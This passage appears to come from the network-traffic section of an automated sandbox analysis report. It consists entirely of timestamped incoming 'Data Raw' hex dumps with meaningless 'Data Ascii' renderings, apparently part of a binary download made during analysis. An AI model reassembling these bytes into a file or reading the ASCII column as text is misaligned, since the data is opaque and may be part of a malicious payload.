8c 94 ef 19 9d b7 1b 3c 41 f3 01 24 96 2a 53 70 8b 2d 98 84 10 7a e5 99 6d 05 3b 04 30 4c ba 05 11 58 f2 10 c4 fc 6a 42 b8 62 04 ed bb de 48 84 cb e4 f5 49 0e 5e b8 25 7e 1e 6c 08 d8 31 18 d6 5a 50 20 6b b1 b6 55 00 ec 92 e1 0c Data Ascii: "T3#taN1mBdGnJ:%UEBf<uTq=8mT-aoMF4:FXVIPPe<p\D,Y'hx0pGaxl1XsL,PDu#(w_<A$*Sp-zm;0LXjBbHI^%~l1ZP kU
2022-08-04 11:37:02 UTC	2607	IN	Data Raw: 5d 54 df 84 44 86 7a 93 68 15 42 9c d2 77 4f d0 d4 9b 00 f4 89 9b d7 51 7e a8 94 52 84 25 10 f3 c2 4f 75 c7 e9 09 1a 8b 71 0b 92 d7 41 02 3f 2f 4e 15 20 7a c1 5e ab af 72 f5 c2 82 82 38 87 fc 48 88 75 af 98 c6 70 9f e8 38 91 35 85 21 82 c7 2c 31 c6 f1 77 c2 a2 c0 96 e9 90 d6 06 99 bf 96 7a 38 4b 2b a0 1c 09 37 b7 08 65 72 8d 25 9a a4 5a 16 12 c6 7c 5f fe e3 6a 1d 63 d3 89 62 5a 5d b0 fc 48 43 e1 10 2e 38 2c 7e f2 91 ec 80 b4 4e 77 23 ee f8 c0 14 61 28 96 43 88 97 f5 9e ae 16 f4 0e fe ef 66 0b f8 03 12 41 ce 1f 16 77 04 14 7d a6 69 24 89 42 f4 cf 96 bf 10 3c 25 be ee 11 27 83 cb 80 36 0f 04 46 a1 4b 93 f9 c0 18 90 bf f8 37 31 97 03 e5 3a 05 a4 af bd a9 8c d9 65 2b 95 5e b5 6f 0b 54 7f 64 51 2c b2 ec 41 07 77 0f bd 70 6e 75 7a 5b a0 4a bc 99 04 92 62 2a 06 Data Ascii: ]TDzhBwOQ~R%OuqA?/N z^r8Hup85!,1wz8K+7er%Z\|_jcbZ]HC.8,~Nw#a(CfAw}i$B<%'6FK71:e+^oTdQ,Awpnuz[Jb*
2022-08-04 11:37:02 UTC	2623	IN	Data Raw: 86 11 9a 4c 0e 11 02 19 4a bd 3e 02 12 64 22 d3 38 bf 30 61 5b e2 ac 48 fd 98 98 18 54 67 e1 7f a8 f9 d8 bc f7 3e 0b 88 cc 52 eb 55 c4 ec 0c 5b 04 e7 73 10 a8 68 09 4e 0e 24 23 2d 6b 2a 01 f4 84 2c 38 39 b6 bd 6f a7 3e 06 33 73 87 5a a0 5b 94 c4 f2 05 24 d5 eb be 8c 3e 4d 0d 8d 5c 0c 22 46 c8 11 03 b7 20 4a 7e 69 88 90 c5 2c b9 b4 bd 8c 04 ab 25 ca bd 05 9e 63 03 18 c9 24 cc 4c 19 6d 00 e7 3b 7d 65 a3 76 a5 62 02 28 f8 2b de a4 ba 1e e6 7d 60 76 c2 9c f2 8e 7b 21 4c a1 18 2b 14 46 1e 61 f2 80 0a 14 87 3d da 18 76 81 0c 6d a2 7a 14 3b 9c 7d 9a 00 27 63 45 26 8f e2 b2 bc 98 4f e2 c8 0c 19 fa 7c 05 66 bf f9 57 a1 f0 32 04 b9 8a 85 79 ca fb d1 20 c5 ec 22 26 0b a2 4d a6 f0 82 76 7f 61 be 0d 12 51 6c be 32 3b 84 72 c0 0d 76 8b e3 66 5d 3d 23 8a 01 12 f7 6f bb Data Ascii: LJ>d"80a[HTg>RU[shN$#-k*,89o>3sZ[$>M\"F J~i,%c$Lm;}evb(+}`v{!L+Fa=vmz;}'cE&O\|fW2y "&MvaQl2;rvf]=#o
2022-08-04 11:37:02 UTC	2639	IN	Data Raw: 18 75 0b 05 31 fd 14 dd 90 94 81 b8 16 94 41 17 eb 20 5a e6 5d c8 18 70 df a4 3c fc 7a 09 b3 65 9b e2 d6 66 89 96 7b 56 7e 60 56 97 bd 24 cb 7c f1 40 36 c3 da 27 df 8a d7 c5 71 0d db 6b d8 8a cc bc 98 06 09 fa e8 d4 44 25 7c 02 c2 8b 8d 80 c2 5c 1d 3e 17 00 2d ee 23 41 2b e9 90 9b 00 12 b1 44 4d c5 d9 cd 87 05 70 f4 ef bf c6 fe c4 de ea dc 52 9a 5b b9 b4 02 75 9f 5e 42 8d c6 fa bc 3f bd c6 83 35 3b d6 80 84 7d 1b 5f 8b e3 42 14 92 05 82 0f 9d 4c cf 20 ae 26 48 09 d8 0e e9 c0 37 0f 14 08 10 e1 25 4b 97 f5 16 b1 4c 03 69 dd 46 e9 62 81 c8 e1 79 f9 98 3a 0f d5 b7 b2 fd a0 02 ba 8b c9 2e c2 a0 2c d2 9a 57 90 b6 7b d7 f8 3f 15 f7 93 51 e4 01 61 8b 1e 38 64 55 81 ec a2 66 87 43 28 c2 55 46 8c c5 88 2a c1 21 8e 1c 0a c2 ae 80 00 24 4e 32 a9 a5 00 7b 13 c7 3d 83 Data Ascii: u1A Z]p<zef{V~`V$\|@6'qkD%\|\>-#A+DMpR[u^B?5;}_BL &H7%KLiFby:.,W{?Qa8dUfC(UF*!$N2{=
2022-08-04 11:37:02 UTC	2655	IN	Data Raw: 00 27 7e 88 0e 06 79 7e e1 e5 32 a0 06 fa 3b b2 fc 48 24 a1 f3 12 0b a7 55 68 74 b4 32 04 a5 fc a4 e7 ff fa a3 44 60 bc 14 e9 8e 3a 75 84 5e 50 ae 56 ea e7 02 0c e8 3b 02 3d e4 4e 40 eb 68 26 c7 95 f0 42 bd f4 ca c1 79 4e cf be 1d 5a a9 00 e7 ab d5 66 70 00 ea b3 03 2e 25 24 9b 16 16 96 ee c1 ef c5 c9 af d9 6c 80 fc 33 db 84 89 1e d9 03 14 aa 42 6e 02 45 25 4c d7 f0 dd 0c 2f a6 65 69 64 15 b6 f2 40 b4 fe 32 21 c6 80 87 98 b0 bd 41 de 0f 48 d8 6c 91 88 88 4b ff 09 8c 33 05 c6 dc f8 20 a2 5c 23 da 83 ec 8c 58 67 22 34 02 04 ca 2c 74 f4 a7 aa b8 f0 84 b3 c7 31 5f b9 7e 40 fa ea f2 a7 0e fe 60 63 32 6c c0 fa 18 16 70 94 0d f0 3e 57 0b 98 c6 5b 42 c0 56 7a 75 03 a3 02 ab f4 12 48 4a 24 aa 84 14 ae 13 f4 ea 8b 88 17 b5 33 cd 96 2a f4 90 20 06 2a bb 79 ce 9d a2 Data Ascii: '~y~2;H$Uht2D`:u^PV;=N@h&ByNZfp.%$l3BnE%L/eid@2!AHlK3 \#Xg"4,t1_~@`c2lp>W[BVzuHJ$3* *y
2022-08-04 11:37:02 UTC	2671	IN	Data Raw: 16 59 02 e7 94 7c 82 07 38 6e c3 f4 a3 e9 f5 71 e6 e5 b0 b8 fd 4b ba d8 74 2e 03 b5 96 64 7c 9d 94 e8 72 73 b8 f2 03 01 15 92 05 d3 10 9a 61 40 24 23 6d 02 bd 4c 70 a0 b2 1e 87 70 d6 0a 36 b1 82 8f 8a 40 8e 29 98 d0 c4 78 ca 43 c8 ac 84 17 6d f9 93 90 ee 0a 4e 26 41 9b 2b 80 2c 3f 0e 6f a0 3c a6 5b 25 fa 09 f5 14 56 7e e9 c3 70 4e 91 f8 98 4a b5 5e 06 af 77 7c f5 c9 60 e4 42 21 d8 04 00 25 2f 5e 41 5c 53 c0 3c 4d 31 90 62 b6 60 d0 70 ae f7 1f 3c 08 ec e7 10 08 02 1b 6f 0a de 90 dc 44 a8 90 47 80 88 b7 74 2d e5 08 20 0e b1 53 6e d5 60 01 ec 12 d4 0f 7f 0b 3d 89 ee f9 54 b0 42 b3 97 55 74 f6 24 64 17 10 ff 23 12 b7 0b 1d d9 05 5b 79 8b 3d 97 52 fb f9 c4 b8 eb 25 6c f7 d6 c0 7c 39 8f c1 00 28 d3 dc d2 4b 97 9d 05 84 08 52 5c 7c bc 65 4a ab ce 86 17 2e ce be Data Ascii: Y\|8nqKt.d\|rsa@$#mLpp6@)xCmN&A+,?o<[%V~pNJ^w\|`B!%/^A\S<M1b`p<oDGt- Sn`=TBUt$d#[y=R%l\|9(KR\\|eJ.
2022-08-04 11:37:02 UTC	2687	IN	Data Raw: 5f 5a 52 41 1a d6 6b d9 7a 6e ac 72 9d 02 05 0c f7 6d 85 82 cd 12 03 40 63 81 e6 76 63 45 4e 29 b9 64 5b e5 10 7a f0 17 e9 4d fa 40 2e 53 ee 13 c3 25 93 00 0e eb 68 ce 2b 9f 4a 2e b2 24 56 15 5e b8 b9 c4 f9 e4 13 e8 02 b1 a7 81 3e df 56 76 0a b0 26 8d af 16 a7 d5 b4 84 f9 7e e8 b8 c0 25 1d 61 9c 6a 00 f6 98 74 fb 6e d0 12 e0 2f 58 8f f9 de 4f 1e 21 02 cc ed fe ff 5d 71 8c 24 40 00 62 2a 45 76 cf 9d 95 f7 9c e6 00 86 2d a3 48 2f 14 94 b5 84 43 d1 00 b7 59 1e 5e c3 eb 76 c3 41 9e 6a 3a 79 2e 01 d0 64 b2 dc 4a 4b 69 89 14 26 03 72 89 00 92 a8 f7 6e ee 35 fd b8 01 05 04 9f 77 36 1c 7d 81 2e 43 7c 3f 40 f7 de fd 46 5d 12 bd 2b e0 b2 82 01 57 53 29 0b d3 66 05 13 e8 ae 79 18 40 51 6c 51 de 5e 5f 89 2c 00 09 05 c9 d5 5d bb 45 51 e6 04 08 f6 cd 97 a0 1b 56 0b f5 Data Ascii: _ZRAkznrm@cvcEN)d[zM@.S%h+J.$V^>Vv&~%ajtn/XO!]q$@b*Ev-H/CY^vAj:y.dJKi&rn5w6}.C\|?@F]+WS)fy@QlQ^_,]EQV
2022-08-04 11:37:02 UTC	2703	IN	Data Raw: c4 b2 90 ac 4a de ab 95 ec a1 6c 76 83 b5 fe e2 f8 a2 55 57 de e5 74 d3 2c ee a3 9a f4 95 50 a9 bb a4 ab b8 76 e9 6e cb d0 97 fb 69 c5 2b 0c bf fe 06 f7 fb 6e bd 9e 4a ab 8a 0d 22 5c 00 5b e9 32 d9 e2 ff c9 80 9d 7e 81 c5 2c b8 9f 80 87 35 09 a7 fb a6 12 a0 cb d9 fa 7c 88 0b 1e 36 57 74 77 b9 11 d9 80 78 b6 af f9 f8 37 fd 5b de f9 46 d4 b1 01 5c b6 0a 64 86 36 2a e3 d1 c7 57 30 f0 60 c3 eb 4a 7c 5d b9 07 60 23 35 3f 29 02 c2 eb 5b c1 f9 ff 84 24 d7 d3 91 08 98 b1 21 2f 02 14 1d c6 7c a4 d1 55 76 b3 e1 05 f0 ff 3c 31 98 14 0d a2 31 26 e3 28 9d e5 6e 90 2f 87 24 40 7c ce 9f 79 a3 c3 fd 26 85 e8 c1 a2 88 18 7a aa b5 38 61 4f 01 84 c7 08 05 27 0b d1 cd c2 83 c0 f7 bb 89 3f 24 6e 83 8e 01 80 ce 63 bc a3 5d 18 43 05 58 d4 45 03 c3 24 93 89 7b 55 01 64 35 3a 2e Data Ascii: JlvUWt,Pvni+nJ"\[2~,5\|6Wtwx7[F\d6*W0`J\|]`#5?)[$!/\|Uv<11&(n/$@\|y&z8aO'?$nc]CXE${Ud5:.
2022-08-04 11:37:02 UTC	2719	IN	Data Raw: 4c 87 a0 cd e1 fc b5 fb 94 24 0d 07 b9 18 24 00 3c 38 61 64 e1 6b a8 3d d5 f5 03 8b ca 25 54 f4 5e 60 a8 93 c1 83 ef 59 86 7e a8 8a 96 12 89 b4 3d ec 19 96 60 52 50 f3 d6 63 4b 00 a8 1b 7f dd 6f 89 13 7d 00 26 38 d2 4e 71 12 51 ef 4c 98 2d 62 0c a5 ba 68 f7 38 b6 18 7e 8b 5b 7f 4a c2 2f 6f 84 a0 08 6c 18 a4 7a 06 39 cd 10 d0 d4 cc 00 47 33 ab 67 28 d8 f4 cc f7 6b 80 c9 97 e9 7d 60 e3 3e 0f 44 19 b4 fe 78 c1 a8 7c ef c5 e9 8f 1c a2 56 56 be 73 da 02 17 14 c9 48 23 bd 29 b6 1c 7e a6 be a7 18 90 b8 ad 3d bd fc 47 c2 7b 56 83 1c f4 9f 14 68 bb 02 b6 09 de 81 5b 64 23 15 82 f5 59 08 16 12 a2 2a b1 08 f2 ea fb 56 2b e5 af 26 c1 12 27 ef 0a c7 5e e9 cb d8 e9 76 c3 6e 21 22 00 b0 12 9c 41 51 99 0e ad d4 31 13 ce aa cd 67 6f d0 ed c9 20 cf 7a 3e 5e 59 11 a5 09 4b Data Ascii: L$$<8adk=%T^`Y~=`RPcKo}&8NqQL-bh8~[J/olz9G3g(k}`>Dx\|VVsH#)~=G{Vh[d#Y*V+&'^vn!"AQ1go z>^YK
2022-08-04 11:37:02 UTC	2735	IN	Data Raw: 94 a6 8c 41 f4 7e 3a 05 c6 18 29 04 1c 10 6a ac 82 26 a7 fc 5c 8c 09 c5 ec 10 da 11 48 0c 5f 56 44 58 fc ae 40 f4 08 6b a0 44 5a 5a 7a 2d 0c 27 37 4e 59 10 af 66 92 28 3c 52 e1 69 dc 00 f2 bf 2b 73 17 02 6d e8 91 0a d5 fe c4 f9 fe a5 a5 32 6a b0 74 1c 01 52 79 5d 93 d2 47 40 8b e8 5b bc c6 5a 96 5c e2 79 17 fe 5c bd 53 12 13 56 63 84 92 ee f2 9e cc 81 3d d1 bf fb f4 27 f6 b6 78 db 80 77 f0 03 ba 9c e2 c3 e4 a3 cd ee f7 a0 14 2e ab b0 17 a2 ba a4 3c 41 10 27 58 07 17 a0 22 20 7c 26 35 31 6e 5d 18 81 c1 74 ab d2 68 8a 49 f8 53 56 c2 38 9e fc 7d 4c 18 aa 56 d3 6e 09 98 9e df e5 3a 21 26 08 77 c8 20 38 91 ca 39 5a 65 d6 f8 0c f0 e0 4b 5f 04 05 17 14 48 18 eb 76 34 40 00 f3 e2 a9 49 27 14 ca 93 3c 53 2b cb c0 c6 5f 6e 1f 16 19 b0 12 b5 d4 44 54 82 1a d3 75 44 Data Ascii: A~:)j&\H_VDX@kDZZz-'7NYf(<Ri+sm2jtRy]G@[Z\y\SVc='xw.<A'X" \|&51n]thISV8}LVn:!&w 89ZeK_Hv4@I'<S+_nDTuD
2022-08-04 11:37:02 UTC	2751	IN	Data Raw: e5 be 02 b8 e3 21 ff ee e9 c6 c8 4a bb 18 27 45 ca d9 30 6c 24 05 00 93 5b 4a 10 9e 53 b3 fd b5 79 c1 40 a6 c6 63 5d 00 f8 14 f4 19 36 48 08 95 09 67 2e 05 16 d1 5e b1 3c d3 68 c3 25 8d f6 c0 d4 28 f7 ce 10 79 37 ac c0 d2 e5 f6 81 8c a2 63 45 cf 02 c0 67 6c 31 c0 98 f4 e4 17 6f 44 19 a9 04 c2 49 59 74 2e 00 5a 71 27 53 39 c9 98 88 31 4d f2 58 4f ec 2f ee 24 e5 b9 32 12 6f 15 4c 5c a9 84 c4 74 f6 b5 33 c3 4f 90 bf 20 ab 2d 64 aa 40 78 28 bd e4 b8 28 f7 20 82 c3 18 6e ee d9 27 49 5b d1 04 c2 21 b9 dd 0b 2e 5f b3 59 5a 30 ff 32 65 eb 74 54 49 e7 fe 0b 17 2e 6a 24 12 20 f6 5a e2 08 18 83 94 a8 4e 00 d5 57 1f c9 ba c3 7f 66 61 45 36 a7 c8 62 bb 1e 00 4e 26 17 eb 49 04 38 0a 42 8a 0b 57 8e 0a cf 75 96 1c 14 2d d6 1b 62 d3 e3 83 8a 9d 51 15 90 69 97 82 58 fa d0 Data Ascii: !J'E0l$[JSy@c]6Hg.^<h%(y7cEgl1oDIYt.Zq'S91MXO/$2oL\t3O -d@x(( n'I[!._YZ02etTI.j$ ZNWfaE6bN&I8BWu-bQiX
2022-08-04 11:37:02 UTC	2767	IN	Data Raw: 2d 5b dd 96 0a 9d d6 61 f3 2d 07 58 53 d4 50 41 52 97 45 2c 30 46 bb 25 a0 24 db 6e 51 ca 25 81 4d 7b 5f 0f 4c 2b 59 05 1c 44 19 a7 c4 55 ca 48 0b 26 5d ce 44 02 05 44 e1 ff fc 57 09 29 3a 7d 45 13 89 e2 c5 71 64 b5 18 eb e2 04 84 59 87 2a 10 15 d9 b9 6a c0 aa 68 2e b5 2d fb 7b 5a ab 48 50 b9 81 ca 7e 7a 7f 18 e8 92 b4 97 e4 ac d0 10 86 35 f5 31 be 8a 70 03 51 68 d3 99 ad f1 56 4c 6b f7 4f 5a c8 9b d9 9d de 2b 70 5f e0 4c 4e 49 07 86 4a 7f 53 51 64 d3 f6 6b e8 ef a8 68 0e 1f 39 3b 3e a3 3a 37 35 b5 ec 78 7f b7 f6 6e eb 55 89 e7 f5 1e 38 0b 58 57 54 5f 57 1f 86 29 d9 27 75 67 e9 c9 5d f9 ea 7a d5 65 9c 4b 57 37 1c 20 94 b7 f4 ff 52 d5 47 66 ab d5 53 5e 3b ae 6a 67 76 4f 5d ad 89 db 80 4b 04 ad 9f 07 3a fb de 7f c4 5b 0a f3 09 12 51 af 2d fa 36 49 09 e9 23 Data Ascii: -[a-XSPARE,0F%$nQ%M{_L+YDUH&]DDW):}EqdY*jh.-{ZHP~z51pQhVLkOZ+p_LNIJSQdkh9;>:75xnU8XWT_W)'ug]zeKW7 RGfS^;jgvO]K:[Q-6I#
2022-08-04 11:37:02 UTC	2783	IN	Data Raw: 8e ab 02 f3 9c 6d c6 20 f7 fb 2d b3 0c 26 00 49 e8 59 27 92 f6 04 7f 01 b7 36 5a 7c 79 0e e9 22 0a a1 7d d3 09 32 f0 53 0a 85 62 f4 78 26 bf 48 cd 0a 52 30 a2 9c fd c7 4f 2f da 4a 4a c6 ff 95 cd 94 92 af e2 4a 97 ab cb 79 02 68 4a 40 f7 73 f6 55 b3 4c ed 1d 49 47 34 63 25 ff 65 99 96 44 ba 98 87 e7 1d 2e 75 5e 42 86 07 3f 79 75 f1 f9 a7 d7 92 25 e8 ce 18 02 23 26 15 5a f4 0d dc bf 71 72 7a e5 4b b5 42 bf 65 e4 aa b1 9f 6f d4 e7 ac 04 f0 ed b8 26 75 7f 09 d7 ef fb 3e 55 f9 6e 50 50 54 4b 58 ef 7a f3 5f b3 c4 45 f2 3a b2 7d 90 89 0b b9 40 bf 73 3f a5 0b d2 fc 6b 40 58 e9 e6 6f 01 e5 ff 42 88 df 73 f0 6b b0 f0 27 07 75 9d 22 fe 05 09 18 f0 c7 29 25 55 66 20 0a 3d 4e e0 23 31 32 81 68 fa 83 3b d3 f4 08 e1 16 c0 07 24 1e 13 b0 4d 27 3e 97 06 43 37 44 76 19 03 Data Ascii: m -&IY'6Z\|y"}2Sbx&HR0O/JJJyhJ@sULIG4c%eD.u^B?yu%#&ZqrzKBeo&u>UnPPTKXz_E:}@s?k@XoBsk'u")%Uf =N#12h;$M'>C7Dv
2022-08-04 11:37:02 UTC	2799	IN	Data Raw: 8a d4 bf 0d 0f d1 d9 d2 66 94 0e 40 a1 c8 76 8a fc ca 00 fa 92 eb 2a c5 81 5f 9f c8 8e 1f 22 89 77 4a 88 0b df f2 87 a8 f9 09 f5 1c 18 c0 08 4c b7 09 72 3f 12 14 60 f9 ed ee d8 4c 87 c4 00 f8 6a d8 ea ca c3 98 a3 97 4e a4 54 88 32 4c 4a 72 76 0e 6c 00 95 28 8a 13 7b 9d 5b 61 2f 72 19 0b 0c f7 e5 ad 81 d0 58 bb 1c 88 1d 8c 0c 6c 6a 24 2a d8 2d 3c fa 32 2c ac ec d8 97 66 b4 fc df 18 a3 dc 38 18 a2 29 16 17 b8 12 e8 f4 85 83 fb fd ba 64 30 33 ef b4 7e f6 7e 5d 8a d7 62 2e 7c 08 40 f9 a8 a7 07 20 69 96 e8 df 27 c2 ae fa b0 31 66 1a 3c d4 db 40 fe 45 0d cf 0f 52 5a 7c 08 d8 c8 a1 8d 00 32 4f e6 fb 62 de 1e fd 28 6f 30 ea 09 e5 09 53 95 e8 66 b5 72 29 9a 73 90 00 87 29 49 1e 40 a4 c7 68 34 6a 51 64 96 75 e2 e8 6e 27 ee 00 d4 57 cd c0 48 fb 14 16 03 98 b5 61 18 Data Ascii: f@v_"wJLr?`LjNT2LJrvl({[a/rXlj$-<2,f8)d03~~]b.\|@ i'1f<@ERZ\|2Ob(o0Sfr)s)I@h4jQdun'WHa
2022-08-04 11:37:02 UTC	2803	IN	Data Raw: 40 9c 99 4f 8b 54 e0 9b 90 7e 6a c4 4f 6b 62 80 34 ff 94 54 16 e5 19 d9 34 d8 88 12 6b 27 4d 03 fd 2b 3a 76 aa d8 c9 17 bf 96 ee f6 48 00 2c 6d 81 9e c7 5e 9c ab 1f b6 0c 13 40 d2 73 c8 50 25 34 0c c9 72 de f2 4c 3e 51 97 8a 2e 87 ef 45 bd be 61 40 86 c9 41 90 4c 56 8b 20 13 2f d0 8e bd d4 a0 6f a4 3b 34 ad 10 cc 0a ec a1 5f 3f e2 96 7a 80 4b 0b c7 78 32 a7 a0 03 95 30 cd 02 b6 56 c5 57 a5 d1 fd b4 04 4b 68 fe 52 e9 f9 da c5 b2 82 ef 50 04 a0 1c 6c 8a 22 2d ea 49 7f 17 90 09 67 6b 56 16 d9 74 a5 59 53 16 80 a9 bc 35 b2 75 2b 12 f9 05 47 e4 0f dc 6c 54 f2 26 0a 13 31 b0 d6 20 59 a3 eb 05 24 e3 ec 46 49 5d 60 b3 1f 04 25 c1 3e 76 4e 4b 5f 1c b2 3f ce fa f0 95 7f 94 39 97 66 e8 25 7b 87 fb 0e a3 26 0e 25 cc 17 bb dd fe 18 26 41 14 96 e8 6d cc 9e 17 a2 18 72 Data Ascii: @OT~jOkb4T4k'M+:vH,m^@sP%4rL>Q.Ea@ALV /o;4_?zKx20VWKhRPl"-IgkVtYS5u+GlT&1 Y$FI]`%>vNK_?9f%{&%&Amr
2022-08-04 11:37:02 UTC	2811	IN	Data Raw: ee 38 6e 03 0f 85 36 db 03 ce 95 c3 1c 48 7d e3 07 ad 13 05 00 f6 d9 42 8b 4a 6c bf dc 1c a3 2f 10 02 dd aa 5c 4e ac 60 e3 bc c4 02 7c ca e8 38 7d 6e 7e 5a 1f 0f 41 e7 16 95 f6 d0 38 30 16 93 ad b3 8e 06 77 33 56 07 b4 29 d8 70 da 02 54 e3 da 63 f2 0e 0a 49 8d 39 03 a0 40 28 93 e7 59 30 ec 77 34 f3 5b 88 39 75 55 5e e4 ca df ea 8b 4e a5 cc 3e 80 93 78 8b a8 f3 d1 08 67 26 c0 ea 0a 3c 9e 0a 21 2d 1f 47 1a 00 43 7a 3b 17 d3 e2 b7 59 cc 82 08 d6 3f 58 10 3e 84 08 15 6c d8 3a 3b 27 59 df b9 6e 4f 41 84 f6 f8 2f 46 64 e2 9b 30 2f 99 54 84 62 36 bb 32 c6 a6 a0 9e 85 80 05 16 2d 1a c7 fe 6a 6c 08 dd 7b 99 4a 39 cc 7e b8 00 7e d7 20 e0 50 24 61 d9 4e c6 b9 32 2d 34 de 34 71 6b 2e a9 6b 72 9f f3 7a 16 aa b0 5c 1c 7e 34 95 76 c8 6b 11 3e 05 74 2c 56 25 5c f8 f5 62 Data Ascii: 8n6H}BJl/\N`\|8}n~ZA80w3V)pTcI9@(Y0w4[9uU^N>xg&<!-GCz;Y?X>l:;'YnOA/Fd0/Tb62-jl{J9~~ P$aN2-44qk.krz\~4vk>t,V%\b
2022-08-04 11:37:02 UTC	2823	IN	Data Raw: d4 fc 05 00 c3 eb aa da cf 33 41 b1 3e 7a 99 ce bc 98 18 be 24 7c f9 c6 45 04 2f a3 60 2e 5e a7 0f e7 98 53 8d 5a 89 6c 0d 80 f6 36 8b 16 a9 90 54 fc 66 20 1b 78 2f 5d 57 a1 7e b4 27 d3 cf 5e 18 b3 ca c0 d0 16 6a 2f 6e a2 b4 fe d4 16 6c ee 65 be 07 80 b7 47 09 75 c7 46 80 a7 de 54 4e cf 9c 27 5b db 7f 14 20 00 32 81 75 08 a4 14 e1 5f 00 4e 4b aa 07 c2 54 92 05 0a 4d 21 f4 6b 32 0e ca f9 12 ea b7 b6 0c e1 2d d6 20 18 12 d4 f1 2b dc 28 0a 80 f0 3e 9c 62 97 70 81 cc 4b 0b 8c 44 d8 28 10 26 97 60 f8 7b cc bd 1a 96 fd 25 c4 3d d1 a0 f0 e4 85 38 40 82 d9 fe a3 f6 17 89 3b aa 9c 40 35 d6 60 e8 fe ad 38 50 d9 0c 6a a7 3c d5 67 d4 a4 12 c0 9d 6e a0 cd 3a 65 cc 00 c8 6c 06 04 ee 32 d0 0e ce dd 8c af 13 ee 66 70 64 00 76 30 f0 8d 03 cc de e0 95 6e 34 c0 6c b5 50 87 Data Ascii: 3A>z$\|E/`.^SZl6Tf x/]W~'^j/nleGuFTN'[ 2u_NKTM!k2- +(>bpKD(&`{%=8@;@5`8Pj<gn:el2fpdv0n4lP
2022-08-04 11:37:02 UTC	2839	IN	Data Raw: a6 52 42 85 f4 30 fa 7d 40 fe 4e 7b bb 38 07 53 9e e7 52 76 65 e2 12 34 0a 85 a5 7d 9e c6 49 57 81 b9 2e 3d af 2f fa 21 fa c7 b9 7b ed 47 b4 fe 8e 64 d7 e6 46 09 99 d1 f6 df 4d f5 a0 0e 9f 5d 1d 2f 27 92 a3 5d 3d 2a c0 68 0d a9 da 5b 4e 8e db 94 85 f0 68 79 0e 19 7d 7f 51 22 d9 49 b7 3b af 4b 87 10 67 8f 12 59 29 84 3a e3 c8 e4 b2 ce 13 54 5b 8f cd 2d 33 f9 99 12 dd 12 a2 26 68 1c 87 fc 15 4c d0 02 68 7f 94 5d 2e 7a 52 de dc 33 de eb e4 8b 87 09 8b 32 df 5c 47 72 60 5c ee e1 09 5a 3e e7 9d dc 3e 96 80 ca 2a 2d 5c 58 98 bf d1 44 82 9c b1 1e be 02 03 c7 df 68 0b 07 21 20 c1 31 09 f2 7c 61 57 f6 44 84 fa 5a 01 f5 66 e0 9c 5d 97 1e d7 c0 4c 3f 7e c6 2f 47 25 8a a9 f8 2e 70 d9 b6 68 6b 03 20 9e 3e 06 40 e9 91 28 02 0a 33 ad 86 e4 08 c2 57 77 e5 13 08 1c 6c 00 Data Ascii: RB0}@N{8SRve4}IW.=/!{GdFM]/']=h[Nhy}Q"I;KgY):T[-3&hLh].zR32\Gr`\Z>>-\XDh! 1\|aWDZf]L?~/G%.phk >@(3Wwl
2022-08-04 11:37:02 UTC	2851	IN	Data Raw: 54 45 4b 7e a9 68 a6 0c 4c 09 1c 7e 60 53 2c 2a 38 87 c0 01 b8 de c9 0a 23 e8 a7 60 60 d5 27 53 2b d1 d7 68 9c 0e 71 5f 80 53 17 9d b0 9c 5d fe 4c d0 b8 07 f3 69 cf 1a e2 eb 5d ff ca f6 ff f1 e2 e4 b4 c5 4e af 66 bc 08 0f ba 24 9d 37 82 9e 1c 8d 57 21 3a 19 21 d5 7c c8 14 b4 fd 0c 04 f4 26 13 c0 00 2b 2c 61 a1 94 00 2f 6d eb fd f8 8f 59 20 12 31 41 a5 d0 fe 47 f2 9d 51 3f 96 f0 5e 7e 98 fc 58 af 42 8e 6e 16 a4 a4 ee 13 4e 45 ef 00 0b 56 c4 ab 7c 57 00 e4 b3 a0 b9 8c 18 96 a6 74 b7 60 5e 40 89 e3 68 d3 30 c9 58 88 3b c8 4c 00 e7 23 f4 fb 0f bf 34 46 63 12 c0 9f c4 8a a4 e7 50 0f 71 4a 00 ff ba 67 93 3d 18 04 18 3a 60 4e 37 04 06 92 25 54 34 ff cf 47 4a 81 46 ac cc 6a c0 d4 0b 63 fe 9d e5 85 00 fc 20 b7 72 1e 15 02 69 1a 23 2b 8e f0 c5 46 42 bc 2e f9 ce 58 Data Ascii: TEK~hL~`S,*8#``'S+hq_S]Li]Nf$7W!:!\|&+,a/mY 1AGQ?^~XBnNEV\|Wt`^@h0X;L#4FcPqJg=:`N7%T4GJFjc ri#+FB.X
2022-08-04 11:37:02 UTC	2859	IN	Data Raw: db 4a f8 0b 9c 14 55 1e e4 00 ef 1a 7e 30 26 9d 62 c0 12 68 a5 5b a2 a4 84 da 1b 01 ce 26 c6 0b 40 28 2f a7 56 09 1e 3d 75 ed 71 88 02 f0 dd 67 58 5a 45 04 aa 8b db 61 16 b0 8d 88 96 7f c2 90 57 f6 2e da f7 d3 52 09 e4 a8 a9 a6 77 d1 f2 62 98 57 ff f1 26 40 64 8c 7c bb 0e 02 96 14 48 58 c9 37 b6 c2 20 f4 9d 34 74 74 c1 55 3e 2c a0 5d b0 09 9e c7 07 c8 5f a0 64 72 dd 7c 98 82 75 f6 d2 2d 0b 4c 55 c5 7c 82 de 58 84 1c 77 4e bc c2 70 f0 85 fe 5d 7e be 67 0f f2 73 55 c0 0a fc db e1 73 0a 3e 4d 14 2d 2e fe 80 91 17 8f 16 08 60 6d 48 52 26 5d 5c a0 3e 03 86 0b 0a 0e 51 05 10 72 3d 4b 0c 7b 61 66 d2 24 10 04 1a 82 1f 1b 01 ef 53 6a be c2 54 88 5d 5c 54 7a 7d 58 06 b2 5c bf 5b 7e 13 42 a2 c3 05 31 08 61 5e 01 22 eb 77 da 21 40 24 be e0 04 00 64 ab cd f8 ff 59 0c Data Ascii: JU~0&bh[&@(/V=uqgXZEaW.RwbW&@d\|HX7 4ttU>,]_dr\|u-LU\|XwNp]~gsUs>M-.`mHR&]\>Qr=K{af$SjT]\Tz}X\[~B1a^"w!@$dY
